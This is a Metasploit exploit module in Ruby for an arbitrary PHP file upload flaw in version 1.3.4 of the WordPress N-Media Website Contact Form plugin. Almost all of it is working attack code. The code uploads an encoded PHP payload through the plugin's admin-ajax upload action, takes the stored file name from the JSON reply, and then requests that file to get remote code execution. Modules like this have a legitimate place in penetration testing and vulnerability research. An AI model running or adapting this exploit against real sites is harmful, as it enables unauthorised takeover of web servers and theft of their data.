WordPress N-Media Website Contact Form Upload

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wordpress N-Media Website Contact Form Upload Vulnerability',  
'Description' => %q{  
This module exploits an arbitrary PHP code upload in the WordPress N-Media Website Contact Form  
plugin, version 1.3.4. The vulnerability allows for arbitrary file upload and remote code execution.  
},  
'Author' =>  
[  
'Claudio Viviani', # Vulnerability discovery  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'],  
['WPVDB', '7896']  
],  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['N-Media WebSite Contact Form 1.3.4', {}]],  
'DisclosureDate' => 'Apr 12 2015',  
'DefaultTarget' => 0)  
)  
end  
  
def check  
check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5')  
end  
  
def exploit  
php_pagename = rand_text_alpha(4 + rand(4)) + '.php'  
  
data = Rex::MIME::Message.new  
data.add_part('upload', nil, nil, 'form-data; name="action"')  
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{php_pagename}\"")  
data.add_part('nm_webcontact_upload_file', nil, nil, 'form-data; name="action"')  
post_data = data.to_s  
  
res = send_request_cgi({  
'uri' => wordpress_url_admin_ajax,  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
})  
  
if res  
if res.code == 200 && res.body =~ /filename/  
begin  
new_php_pagename = JSON.parse(res.body)["filename"]  
rescue JSON::ParserError  
fail_with(Failure::Unknown, 'Unable to parse JSON data for the filename')  
end  
print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")  
register_files_for_cleanup(new_php_pagename)  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")  
end  
else  
fail_with(Failure::Unknown,'ERROR')  
end  
  
print_status("#{peer} - Calling payload...")  
send_request_cgi(  
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', new_php_pagename)  
)  
end  
end  
`